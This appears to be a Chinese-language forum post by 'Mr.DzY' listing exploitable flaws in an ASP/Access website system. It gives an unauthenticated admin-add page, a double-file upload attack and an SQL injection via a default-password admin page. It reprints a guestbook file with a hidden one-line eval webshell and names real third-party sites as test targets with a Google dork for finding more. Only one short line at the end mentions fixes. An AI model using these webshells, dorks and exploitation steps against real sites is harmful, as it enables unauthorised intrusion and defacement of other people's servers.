下载地址:http://down.chinaz.com/soft/30318.htm
运行环境: ASP/Access
后台目录:admin/login.asp

No.1 添加管理员

漏洞证明:http://127.0.0.1/admin/system/UserAdd.asp
漏洞利用:直接加帐户admin/login.asp 登陆.

No.2 上传漏洞
漏洞证明:http://127.0.0.1/admin/upfile/Upfile_Start1.asp
漏洞利用:构造双文件上传远程提交,也可工具提交.

No.3 后门小马+一句话

漏洞证明:http://www.ktv868.com/admin/admin/1.asp

根目录下有个1.asp貌似留言本。代码:
<!--#include file="conn.asp"-->
<%eval request("lyx")%>
<%
        if Trim(Replace(Request("action"),"","'"))="save" then
        kh_dw=Trim(Replace(Request("kh_dw"),"","'"))
        lxr=Trim(Replace(Request("lxr"),"","'"))
        dh=Trim(Replace(Request("dh"),"","'"))
        mail=Trim(Replace(Request("mail"),"","'"))
        title=Trim(Replace(Request("title"),"","'"))
        content=Trim(Replace(Request("content"),"","'"))
        if Request("lxr")="" or Request("dh")="" or Request("mail")="" or Request("title")="" then
        Response.Write"<script>alert('必填项不能为空!');location.href('ly.asp')</script>"
       else
        sql="select top 1 * from liuyan where (id is null)"
        rs.open sql,conn,1,3
        Rs.addnew
        Rs("kh_dw")=kh_dw
        Rs("lxr")=lxr
        Rs("dh")=dh
        Rs("mail")=mail
        Rs("title")=title
        Rs("content")=content
        Rs("uptime")=Now()
        rs("chayue")=""
        Rs.update
        rs.close
        Response.Write"<script>alert('留言成功，我们会尽快和你联系！');location.href('ly.asp')</script>"
        end if
        Set rs=nothing
        end if
        %>

test:http://www.wfkangzheng.com/1.asp

PS:看第二行,这年头呵呵,,,,留后门的真多.

No.4 注入漏洞
利用:http://127.0.0.1/Neeao_sql_admin.asp 密码:neeao
去掉过滤关字符,尽情的淫荡去吧.
test:http://127.0.0.1/newsx.asp?id=22

No.5 漏洞修补
删除后门/修改默认密码/增加验证

google:inurl:newsx.asp?id=

by Mr.DzY